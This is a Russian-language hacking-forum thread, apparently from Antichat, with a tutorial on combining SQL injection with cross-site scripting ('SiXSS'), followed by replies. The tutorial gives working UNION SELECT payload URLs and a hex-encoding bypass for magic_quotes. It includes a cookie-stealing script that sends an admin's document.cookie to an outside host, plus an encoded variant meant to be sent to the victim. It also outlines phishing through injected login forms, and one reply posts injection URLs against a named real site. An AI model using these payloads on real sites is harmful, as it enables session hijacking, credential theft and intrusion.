![]() |
SiXSS своими руками
Данная статья расчитана на тех, кто знаком с такими понятиями, как SQL Injection и XSS атака. Без понимания основ, к прочтению не рекомендуется. (SQL injection: http://forum.antichat.ru/thread43966.html XSS: http://forum.antichat.ru/thread44125.html)
1. Введение Что же такое SiXSS? Это расшифровывается как SQL Injection Cross Site Scripting - комбинация SQL Inj и XSS атаки. Подразумевает под собой выполнение XSS атак через уязвимость скрипта к SQL Inj. 2. Область применения Применяется этот тип атаки, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. Подробно об этом написано здесь: http://www.securitylab.ru/analytics/216380.php (оно же здесь на античате: http://forum.antichat.ru/thread29763-sixss.html) Также применяется в тех случаях, когда кроме самой SQL injection, мы не можем ни подобрать имена таблиц (не у всех стоит, например, MySQL >5 с INFORMATION_SCHEMA), ни сделать, например, вывод в файл (masterhost). Здесь мы и заострим наше внимание. Кульминацией в обоих случаях будет являться применение новых технологии фишинга 3. Теория использования (на примере MySQL) В языке SQL есть комманда union, которая используется для объединения двух запросов. Например: Код:
http://site.net/test.php?id=-1+union+select+1,DATABASE(),3/*мы и воспользуемся, написав в строке адреса следующую вещь: Код:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*Однако здесь мы можем столкнуться с двумя проблемами: а). Включенную функцию magic_quotes, которая обрежет нашу XSS. Обойти ее можно воспользовавшись тем, что MySQL позволяет переводить шестнадцатеричные значения вида 0хAB123456) в текст: Код:
mysql> select HEX('<script>alert("SiXSS");</script>');Теперь наш запрос будет иметь вид: Код:
http://site.net/test.php?id=-1+union+select+1,0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E,3/*Что же делать, если отключена работа javascript? И тут мы опять вспоминаем, что union select позволяет вывести в окно браузера ПРОИЗВОЛЬНЫЙ текст. То есть HTML тоже. Другими словами, получается, что подделав HTML страницу со вводом пароля, мы можем отослать любую инфу нашему скрипту, находящемуся где-нибудь на просторах интернета 4. Практика фишинга Итак, мы с вами нашли и проверили уязвимость, что же дальше? Просто попытаемся сунуть ссылку админу (например, посмотри пожалуйста, что происходит с сайтом?) Код:
http://site.net/test.php?id=-1+union+select+1,<script>img=new Image();img.src="http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>,3/*Код:
http://site.net/test.php?id=%2D%31%2B%75%6E%69%6F%6E%2B%73%65%6C%65%63%74%2B%31%2C0x3C7363726970743E696D673D6E657720496D61676528293B696D672E7372633D22687474703A2F2F6F6C642E616E7469636861742E72752F6367692D62696E2F732E6A70673F222B646F63756D656E742E636F6F6B69653B3C2F7363726970743E%2С%33%2F%2A5. Заключение В этой статье я лишь хотел продемонстироровать возможности такого типа атак как SiXSS. Примеры фишинга вы можете найти в статье "... и более продвинутые sql инъекции", ссылку на которую я давал в самом начале. Также хотелось бы обратить внимание на то, что SQL Injection даже в очень ограниченной среде способна привести к довольно печальным последствиям, если не уделять внимание безопасности своих сайтов. |
На самом деле это всего лишь пассивная (!) xss, эффективность которой не так уж и велика) Если уж и использовать, то через iframe, а ещё лучше просто добить инъекцию)
|
Заметь, Xss там, где ее быть не должно :) Что не может не радовать
И не всегда можно инъекцию раскрыть (примеров полно) |
http://www.uprava.org/section.php?id=-1+union+select+1,'%3Cscript%3Ealert();%3C/script%3E',3,5,6,7,8/*
http://www.uprava.org/section.php?id=-1+union+select+1,0x536e406b333a2049736973202d206c6 16d6572203d29,3,5,6,7,8/* это толе? я встречал типа такого phpISIXss =\ тырын-пырын-уруру |
В купе с этим вот получается непадецки :)
http://forum.antichat.ru/thread22898.html |
Ну на самом деле не очень. Это просто одна из видов sql inj, и выделять это как отдельный вид атаки я бы даже не стал, да к тому же конструкция еще более громоздкая чем при использование обычного xss вектора. Итого: ничего нового и малоэффективно
|
Вообще про это уже давно написано было на секлабе, еще в 2005 году.
Вот ссылка http://www.securitylab.ru/analytics/216380.php И где копирайты? Как минимум половина примеров и материалов отсюда: http://www.inattack.ru/article/535.html. А так имхо, не эффективно это и очень уж изощренно ;) |
Это сборная статья. на inattack был найден один из кусков материала. На секлаб ссылки есть (один в один причем). Также использованы материалы с xakep.ru + google
Спасибо за критику, главное, что мне кажется, первый блин комом все таки не вышел. Есть куда двигаться и стремиться. Для наглядности могу раскрыть четвертый пункт чисто от себя. А основная цель все таки была не в том, чтобы описать новый способ атак, а "раскрыть" тему в рамках проекта античат. И абсолютно не в эффективности дело. P.S. Думаю, все же немного переделаю статью |
Впринципе тема с sixxs довольна стара. И не очень сложное всё это дело. Кстати, в большинстве случаев если запрос:
Код:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*Код:
http://site.net/test.php?id="><script>alert("SiXSS")</script> |
Сколько раз я находил sql-inj с выводом на экран того, что вбивается в адресную строку браузера, то в большинстве случаев пассивная XSS была возможна, если правильно составить запрос вида: <script>alert("XSS")</script> (закрыть необходимые теги для выполнения сценария).
|
| Время: 22:43 |